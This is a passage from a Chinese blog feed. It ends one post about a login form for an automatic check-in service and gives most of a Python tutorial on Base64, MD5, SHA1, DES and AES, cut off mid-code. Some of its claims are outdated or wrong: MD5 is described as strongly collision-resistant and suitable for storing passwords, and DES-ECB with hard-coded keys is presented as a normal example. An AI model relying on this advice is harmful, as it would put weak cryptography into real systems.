class="token punctuation">&#125;</span>    <span class="token punctuation">]</span>  <span class="token punctuation">]</span><span class="token punctuation">&#125;</span></code></pre><p>向API提交表单，提交的数据格式要和后台接口统一，不然解析后数据可能为空。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// login.vue</span><span class="token comment">// 设置数据格式</span><span class="token keyword">const</span> headers <span class="token operator">=</span> <span class="token punctuation">&#123;</span> <span class="token string">"Content-Type"</span><span class="token operator">:</span> <span class="token string">"multipart/form-data"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token comment">// 构造表单</span><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>data<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token string">"user"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ruleForm<span class="token punctuation">.</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span>data<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token string">"password"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ruleForm<span class="token punctuation">.</span>password<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 发请求</span><span class="token keyword">this</span><span class="token punctuation">.</span>$axios<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">"后台数据库地址"</span><span class="token punctuation">,</span> data<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>headers<span class="token operator">:</span> headers<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token comment">// console.log(res)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 提交完毕后重置表格，避免重复提交</span><span class="token keyword">this</span><span class="token punctuation">.</span>$refs<span class="token punctuation">[</span>formName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">resetFields</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>剩下的就是完善一些细节，比如如何取消自动上报的一些信息以及用户操作完毕后的及时反馈。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// login.vue</span><span class="token function">mounted</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">$message</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>        showClose<span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>        message<span class="token operator">:</span> <span class="token string">"注意：更改密码即可取消自动安全上报"</span><span class="token punctuation">,</span>        type<span class="token operator">:</span> <span class="token string">"info"</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span></code></pre>]]></content>
    
    
    <summary type="html">自动打卡签到服务器部署</summary>
    
    
    
    <category term="项目" scheme="https://blog.alexation.cn/categories/%E9%A1%B9%E7%9B%AE/"/>
    
    
    <category term="MySQL" scheme="https://blog.alexation.cn/tags/MySQL/"/>
    
    <category term="Vue" scheme="https://blog.alexation.cn/tags/Vue/"/>
    
    <category term="Flask" scheme="https://blog.alexation.cn/tags/Flask/"/>
    
  </entry>
  
  <entry>
    <title>常见加密方式的Python实现总结</title>
    <link href="https://blog.alexation.cn/python/encrypt/"/>
    <id>https://blog.alexation.cn/python/encrypt/</id>
    <published>2022-01-25T10:57:33.000Z</published>
    <updated>2024-03-29T13:40:02.373Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">常见加密方式</h1><h3 id="前言">前言</h3><p>我们所说的加密方式，都是对二进制编码的格式进行加密的，对应到Python中，则是我们的<code>Bytes</code>。</p><p>所以当我们在Python中进行加密操作的时候，要确保我们操作的是<code>Bytes</code>，否则就会报错。</p><p>将字符串和<code>Bytes</code>互相转换可以使用<code>encode()</code>和<code>decode()</code>方法。如下所示：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 方法中不传参数则是以默认的utf-8编码进行转换</span>a <span class="token operator">=</span> <span class="token string">"中国欢迎您"</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>  <span class="token comment"># b'\xe4\xb8\xad\xe5\x9b\xbd\xe6\xac\xa2\xe8\xbf\x8e\xe6\x82\xa8'</span>b <span class="token operator">=</span> a<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span>  <span class="token comment"># 中国欢迎您</span></code></pre><p><strong>注：两位十六进制常常用来显示一个二进制字节。</strong></p><p>利用<code>binascii</code>模块可以将十六进制显示的字节转换成我们在加解密中更常用的显示方式：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> binascii<span class="token comment"># 方法中不传参数则是以默认的utf-8编码进行转换</span>a <span class="token operator">=</span> <span class="token string">"中国欢迎您"</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>  <span class="token comment"># b'\xe4\xb8\xad\xe5\x9b\xbd\xe6\xac\xa2\xe8\xbf\x8e\xe6\x82\xa8'</span>b <span class="token operator">=</span> a<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span>  <span class="token comment"># 中国欢迎您</span><span class="token comment"># 二进制到十二进制</span>c <span class="token operator">=</span> binascii<span class="token punctuation">.</span>b2a_hex<span class="token punctuation">(</span><span class="token string">'中国欢迎您'</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"c"</span><span class="token punctuation">,</span> c<span class="token punctuation">)</span>  <span class="token comment"># c=== b'e4b8ade59bbde6aca2e8bf8ee682a8'</span><span class="token comment"># 十六进制到二进制</span>d <span class="token operator">=</span> binascii<span class="token punctuation">.</span>a2b_hex<span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span>  <span class="token comment"># b'\xe4\xb8\xad\xe5\x9b\xbd\xe6\xac\xa2\xe8\xbf\x8e\xe6\x82\xa8'</span>v <span class="token operator">=</span> binascii<span class="token punctuation">.</span>a2b_hex<span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span>  <span class="token comment"># 中国欢迎您</span>b <span class="token operator">=</span> a<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span>  <span class="token comment"># 中国欢迎您</span></code></pre><h3 id="URL编码">URL编码</h3><p><strong>1、简介</strong></p><p>正常的URL中是只能包含ASCII字符的，也就是字符、数字和一些符号。而URL编码就是一种浏览器用来避免url中出现特殊字符（如汉字）的编码方式。其实就是将超出ASCII范围的字符转换成带<code>%</code>的十六进制格式。</p><p><strong>2、Python实现</strong></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> urllib <span class="token keyword">import</span> parse<span class="token comment"># 编码</span>a <span class="token operator">=</span> parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span><span class="token string">"中国欢迎您"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>  <span class="token comment"># %E4%B8%AD%E5%9B%BD%E6%AC%A2%E8%BF%8E%E6%82%A8</span><span class="token comment"># 解码</span>b <span class="token operator">=</span> parse<span class="token punctuation">.</span>unquote<span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span>  <span class="token comment"># 中国欢迎您</span></code></pre><h3 id="Base64编码">Base64编码</h3><p><strong>1、简介</strong></p><p>Base64是一种用64个字符来表示任意二进制数据的方法。</p><p>Base64编码可以成为密码学的基石。可以将任意的二进制数据进行Base64编码。所有的数据都能被编码为并只用65个字符就能表示的文本文件。（ 65字符：A~Z a~z 0~9 + / = ）编码后的数据~=编码前数据的4/3，会大1/3左右。</p><p><strong>2、Base64编码的原理</strong></p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/1.jpg" alt="aryxq-axx4s"></p><ol><li>将所有字符转化为ASCII码。</li><li>将ASCII码转化为8位二进制 。</li><li>将二进制3个归成一组(不足3个在后边补0)共24位，再拆分成4组，每组6位。</li><li>统一在6位二进制前补两个0凑足8位。</li><li>将补0后的二进制转为十进制。</li><li>从Base64编码表获取十进制对应的Base64编码。</li></ol><p><strong>3、Base64编码的说明</strong></p><ol><li>转换的时候，将三个byte的数据，先后放入一个24bit的缓冲区中，先来的byte占高位。</li><li>数据不足3byte的话，于缓冲区中剩下的bit用0补足。然后，每次取出6个bit，按照其值选择查表选择对应的字符作为编码后的输出。</li><li>不断进行，直到全部输入数据转换完成。</li><li>如果最后剩下两个输入数据，在编码结果后加1个“=”。</li><li>如果最后剩下一个输入数据，编码结果后加2个“=”。</li><li>如果没有剩下任何数据，就什么都不要加，这样才可以保证资料还原的正确性。</li></ol><p><strong>4、Python的Base64使用</strong></p><p>Python内置的<code>base64</code>模块可以直接进行base64的编解码</p><p><strong>注意：用于base64编码的，要么是ASCII包含的字符，要么是二进制数据</strong></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> base64<span class="token comment"># 编码</span>a <span class="token operator">=</span> base64<span class="token punctuation">.</span>b64encode<span class="token punctuation">(</span><span class="token string">b"hello world"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>  <span class="token comment"># b'aGVsbG8gd29ybGQ='</span><span class="token comment"># 解码</span>b <span class="token operator">=</span> base64<span class="token punctuation">.</span>b64decode<span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span>  <span class="token comment"># b"hello world"</span></code></pre><p><strong>5、Base64格式的文件</strong></p><p>在前端中，有很多文件也被编辑成base的文件，使用这种格式也可以进行还原</p><h3 id="MD5（信息-摘要算法）">MD5（信息-摘要算法）</h3><p><strong>1、简述</strong></p><p>message-digest algorithm 5（信息-摘要算法）。经常说的“MD5加密”，就是它→信息-摘要算法。</p><p>md5，其实就是一种算法。可以将一个字符串，或文件，或压缩包，执行md5后，就可以生成一个固定长度为128bit 的串。这个串，基本上是唯一的。</p><p><strong>2、不可逆性</strong></p><p>每个人都有不同的指纹，看到这个人，可以得出他的指纹等信息，并且唯一对应，但你只看一个指纹，是不可能看到或读到这个人的长相或身份等信息。</p><p><strong>3、特点</strong></p><ol><li>压缩性：任意长度的数据，算出的MD5值长度都是固定的。</li><li>容易计算：从原数据计算出MD5值很容易。</li><li>抗修改性：对原数据进行任何改动，哪怕只修改1个字节，所得到的MD5值都有很大区别。</li><li>强抗碰撞：已知原数据和其MD5值，想找到一个具有相同MD5值的数据（即伪造数据）是非常困难的。</li></ol><p>举个栗子：我从树下捡了一片叶子，全世界有数不清的树叶，我就想整个世界会不会有一片完全一样的叶子? 以一片有限的叶子对世界上无限的树叶，这个理论上的确是可以找到一片完全的叶子，可是实际情况下很难很难找到。</p><p><strong>4、Python的MD5使用</strong></p><p>由于MD5模块在python3中被移除，在python3中使用<code>hashlib</code>模块进行md5操作</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> hashlib<span class="token comment"># 待加密信息</span><span class="token builtin">str</span> <span class="token operator">=</span> <span class="token string">'中国你好'</span><span class="token comment"># 创建md5对象，</span><span class="token comment"># md5对象，md5不能反解，但是加密是固定的，就是关系是一一对应，所以有缺陷，可以被对撞出来</span>hl <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 要对哪个字符串进行加密，就放这里</span><span class="token comment"># 此处必须声明encode</span><span class="token comment"># 若写法为hl.update(str)  报错为： Unicode-objects must be encoded before hashing</span>hl<span class="token punctuation">.</span>update<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span>encoding<span class="token operator">=</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'MD5加密前为 ：'</span> <span class="token operator">+</span> <span class="token builtin">str</span><span class="token punctuation">)</span><span class="token comment"># hl.hexdigest()) #拿到加密字符串</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'MD5加密后为 ：'</span> <span class="token operator">+</span> hl<span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token triple-quoted-string string">"""MD5加密前为 ：中国你好MD5加密后为 ：560a6b11a85d436acfa4bd7f34462f40"""</span>hash3 <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token string">'abd'</span><span class="token punctuation">,</span> encoding<span class="token operator">=</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token triple-quoted-string string">''' 如果没有参数，所以md5遵守一个规则，生成同一个对应关系，如果加了参数，就是在原先加密的基础上再加密一层，这样的话参数只有自己知道，防止被撞库，因为别人永远拿不到这个参数'''</span>hash3<span class="token punctuation">.</span>update<span class="token punctuation">(</span><span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token string">"admin"</span><span class="token punctuation">,</span> encoding<span class="token operator">=</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>hash3<span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 9aea3c0a6c51555c1a4d0a5e9b689ded</span></code></pre><p>MD5不仅仅是上面这个例子这样用来处理字符串，还有更广泛的用途：</p><ul><li>加密网站注册用户的密码。 （但去年的各大网站密码泄漏事件确实让人蛋疼……）</li><li>网站用户上传图片 / 文件后，计算出MD5值作为文件名。（MD5可以保证唯一性）</li><li>key-value数据库中使用MD5值作为key。</li><li>比较两个文件是否相同。（大家在下载一些资源的时候，就会发现网站提供了MD5值，就是用来检测文件是否被篡改）</li><li>……</li></ul><p><strong>处理大文件：</strong></p><p>上面说过可以用MD5来检测两个文件是否相同，但想想，如果是两个很大的文件，担心内存不够用，这时怎么办？</p><p>这就要使用 update 方法了。代码如下：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> hashlib <span class="token keyword">def</span> <span class="token function">get_file_md5</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">:</span>    m <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token punctuation">)</span>     <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>        data <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token number">10240</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token keyword">not</span> data<span class="token punctuation">:</span>            <span class="token keyword">break</span>         m<span class="token punctuation">.</span>update<span class="token punctuation">(</span>data<span class="token punctuation">)</span>    <span class="token keyword">return</span> m<span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>YOUR_FILE<span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>    file_md5 <span class="token operator">=</span> get_file_md5<span class="token punctuation">(</span>f<span class="token punctuation">)</span> </code></pre><p>以上的加密算法虽然非常厉害，但还是存在缺陷，即：通过撞库可以反解，所以，有必要对加密算法中添加自定义key再来做加密</p><p><strong>5、MD5长度</strong></p><p>md5的长度，默认为128bit，也就是128个0和1的二进制串。这样表达是很不友好的。所以将二进制转成了16进制，每4个bit表示一个16进制，所以128/4 = 32 换成16进制表示后，为32位了。</p><p>为什么网上还有md5是16位的呢？</p><p>其实16位的长度，是从32位md5值来的。是将32位md5去掉前八位，去掉后八位得到的。</p><p><strong>6、sha1 加密</strong></p><p>SHA1的全称是Secure Hash Algorithm(安全哈希算法) 。SHA1基于MD5，加密后的数据长度更长，</p><p>它对长度小于264的输入，产生长度为160bit的散列值。比MD5多32位。</p><p>因此，比MD5更加安全，但SHA1的运算速度就比MD5要慢了。</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> hashlib <span class="token builtin">str</span> <span class="token operator">=</span> <span class="token string">"中国你好"</span>a <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>sha1<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"sha1加密前为 ："</span><span class="token punctuation">,</span><span class="token builtin">str</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"sha1加密前后 ："</span><span class="token punctuation">,</span>a<span class="token punctuation">)</span> <span class="token triple-quoted-string string">"""sha1加密前为 ： 中国你好sha1加密前后 ： 3e6c570876775d0031dbf66247ed1054d4ef695e"""</span></code></pre><h3 id="PyCryptodome">PyCryptodome</h3><p>PyCrypto是 Python 中密码学方面最有名的第三方软件包。可惜的是，它的开发工作于2012年就已停止。</p><p>幸运的是，有一个该项目的分支 PyCrytodome 取代了 PyCrypto 。</p><h4 id="1、安装与导入">1、安装与导入</h4><p>安装之前需要先安装<strong>Microsoft Visual c++ 2015</strong>。</p><p>在Linux上安装，可以使用以下 pip 命令：</p><pre class="language-none"><code class="language-none">pip install pycryptodome</code></pre><p>导入：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> Crypto</code></pre><p>在Windows 系统上安装则稍有不同：</p><pre class="language-python" data-language="python"><code class="language-python">pip install pycryptodomex</code></pre><p>导入：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> Cryptodome</code></pre><h4 id="2、DES">2、DES</h4><p><strong>1)简介</strong></p><p>DES算法为密码体制中的对称密码体制，又被称为美国数据加密标准。</p><p>DES是一个分组加密算法，典型的DES以64位为分组对数据加密，加密和解密用的是同一个算法。</p><p>DES算法的入口参数有三个：Key、Data、Mode。其中Key为7个字节共56位，是DES算法的工作密钥；Data为8个字节64位，是要被加密或被解密的数据；Mode为DES的工作方式,有两种:加密或解密。</p><p>密钥长64位，密钥事实上是56位参与DES运算（第8、16、24、32、40、48、56、64位是校验位，使得每个密钥都有奇数个1），分组后的明文组和56位的密钥按位替代或交换的方法形成密文组。</p><p>算法步骤<br>1）初始置换<br>其功能是把输入的64位数据块按位重新组合,并把输出分为L0、R0两部分,每部分各长3 2位,其置换规则为将输入的第58位换到第一位,第50位换到第2位……依此类推,最后一位是原来的第7位。L0、R0则是换位输出后的两部分，L0是输出的左32位,R0是右32位,例:设置换前的输入值为D1D2D3……D64,则经过初始置换后的结果为:L0=D58D50……D8;R0=D57D49……D7。<br>其置换规则见下表：<br>58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,<br>62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,<br>57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,<br>61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7,<br>2）逆置换<br>经过16次迭代运算后,得到L16、R16,将此作为输入,进行逆置换,逆置换正好是初始置换的逆运算，由此即得到密文输出。<br>此算法是对称加密算法体系中的代表,在计算机网络系统中广泛使用.</p><p>加密和解密的过程</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 导入DES模块</span><span class="token keyword">from</span> Cryptodome<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> DES<span class="token keyword">import</span> binascii <span class="token comment"># 这是密钥,此处需要将字符串转为字节</span>key <span class="token operator">=</span> <span class="token string">b'abcdefgh'</span> <span class="token comment"># 需要去生成一个DES对象</span><span class="token keyword">def</span> <span class="token function">pad</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">:</span>     <span class="token triple-quoted-string string">"""       # 加密函数，如果text不是8的倍数【加密文本text必须为8的倍数！】，那就补足为8的倍数        :param text:        :return:     """</span>     <span class="token keyword">while</span> <span class="token builtin">len</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">8</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>        text <span class="token operator">+=</span> <span class="token string">' '</span>     <span class="token keyword">return</span> text <span class="token comment"># 创建一个DES实例</span>des <span class="token operator">=</span> DES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span>DES<span class="token punctuation">.</span>MODE_ECB<span class="token punctuation">)</span>text <span class="token operator">=</span><span class="token string">"I'm china!"</span>padded_text <span class="token operator">=</span> pad<span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>padded_text<span class="token punctuation">)</span><span class="token comment">#加密</span>encrypted_text <span class="token operator">=</span> des<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>padded_text<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>encrypted_text<span class="token punctuation">)</span><span class="token comment"># rstrip(' ')返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本</span> <span class="token comment"># 解密</span>plain_text <span class="token operator">=</span> des<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>encrypted_text<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>rstrip<span class="token punctuation">(</span><span class="token string">' '</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>plain_text<span class="token punctuation">)</span> <span class="token triple-quoted-string string">"""I'm china!      b'\xc0`I\x15\x8bo\x00\x00\xb0\xe27\xfe)\xc3\xde,'I'm china!"""</span></code></pre><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 导入DES模块</span><span class="token keyword">from</span> Cryptodome<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> DES<span class="token keyword">import</span> binascii <span class="token comment"># 这是密钥</span>key <span class="token operator">=</span> <span class="token string">b'abcdefgh'</span><span class="token comment"># 需要去生成一个DES对象</span>des <span class="token operator">=</span> DES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> DES<span class="token punctuation">.</span>MODE_ECB<span class="token punctuation">)</span><span class="token comment"># 需要加密的数据</span>text <span class="token operator">=</span> <span class="token string">'python spider!'</span>text <span class="token operator">=</span> text <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token number">8</span> <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token string">'='</span><span class="token comment"># 加密的过程</span>encrypto_text <span class="token operator">=</span> des<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>text<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 加密过后二进制转化为ASCII </span>encrypto_text <span class="token operator">=</span> binascii<span class="token punctuation">.</span>b2a_hex<span class="token punctuation">(</span>encrypto_text<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>encrypto_text<span class="token punctuation">)</span><span class="token comment"># 解密需要ASCII 先转化为二进制 然后再进行解密</span>plaint <span class="token operator">=</span> des<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>binascii<span class="token punctuation">.</span>a2b_hex<span class="token punctuation">(</span>encrypto_text<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>plaint<span class="token punctuation">)</span> <span class="token triple-quoted-string string">"""b'084725d8f5ffafc61814fae0796bfd2f'b'python spider!=='"""</span></code></pre><h4 id="3、3DES">3、3DES</h4><p>3DES（或称为Triple DES）是三重数据加密算法（TDEA，Triple Data Encryption Algorithm）块密码的通称。它相当于是对每个数据块应用三次DES加密算法。</p><p>由于计算机运算能力的增强，原版DES密码的密钥长度变得容易被暴力破解。3DES即是设计用来提供一种相对简单的方法，即通过增加DES的密钥长度来避免类似的攻击，而不是设计一种全新的块密码算法。</p><p>3DES（即Triple DES）是DES向AES过渡的加密算法（1999年，NIST将3-DES指定为过渡的加密标准），加密算法，其具体实现如下：设Ek()和Dk()代表DES算法的加密和解密过程，K代表DES算法使用的密钥，M代表明文，C代表密文，这样：</p><p>3DES加密过程为：C=Ek3(Dk2(Ek1(M)))</p><p>3DES解密过程为：M=Dk1(EK2(Dk3©))</p><h4 id="4、AES">4、AES</h4><p><strong>1）简介</strong></p><p>高级加密标准（英语：Advanced Encryption Standard，缩写：AES），在密码学中又称Rijndael加密法，是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES，已经被多方分析且广为全世界所使用。经过五年的甄选流程，高级加密标准由美国国家标准与技术研究院（NIST）于2001年11月26日发布于FIPS PUB 197，并在2002年5月26日成为有效的标准。2006年，高级加密标准已然成为对称密钥加密中最流行的算法之一。</p><p>AES在软件及硬件上都能快速地加解密，相对来说较易于实作，且只需要很少的存储器。作为一个新的加密标准，目前正被部署应用到更广大的范围。<br>特点与思想：抵抗所有已知的攻击。 在多个平台上速度快，编码紧凑。 设计简单。</p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/2.png" alt=""></p><p>AES为分组密码，分组密码也就是把明文分成一组一组的，每组长度相等，每次加密一组数据，直到加密完整个明文。在AES标准规范中，分组长度只能是128位，也就是说，每个分组为16个字节（每个字节8位）。密钥的长度可以使用128位、192位或256位。密钥的长度不同，推荐加密轮数也不同。</p><p>一般常用的是128位</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> Cryptodome<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> AES<span class="token keyword">from</span> Cryptodome <span class="token keyword">import</span> Random <span class="token keyword">from</span> binascii <span class="token keyword">import</span> a2b_hex <span class="token comment"># 要加密的明文</span>data <span class="token operator">=</span> <span class="token string">'南来北往'</span><span class="token comment"># 密钥key必须为 16（AES-128）， 24（AES-192）， 32（AES-256）</span>key <span class="token operator">=</span> <span class="token string">b'this is a 16 key'</span><span class="token comment"># 生成长度等于AES 块大小的不可重复的密钥向量</span>iv <span class="token operator">=</span> Random<span class="token punctuation">.</span>new<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span>AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>iv<span class="token punctuation">)</span><span class="token comment"># 使用 key 和iv 初始化AES 对象， 使用MODE_CFB模式</span>mycipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CFB<span class="token punctuation">,</span> iv<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>mycipher<span class="token punctuation">)</span><span class="token comment"># 加密的明文长度必须为16的倍数， 如果长度不为16的倍数， 则需要补足为16的倍数</span><span class="token comment"># 将iv(密钥向量)加到加密的密钥开头， 一起传输</span>ciptext <span class="token operator">=</span> iv <span class="token operator">+</span> mycipher<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>data<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 解密的话需要用key 和iv 生成的AES对象</span><span class="token keyword">print</span><span class="token punctuation">(</span>ciptext<span class="token punctuation">)</span>mydecrypt <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CFB<span class="token punctuation">,</span> ciptext<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment"># 使用新生成的AES 对象， 将加密的密钥解密</span>decrytext <span class="token operator">=</span> mydecrypt<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>ciptext<span class="token punctuation">[</span><span class="token number">16</span><span class="token 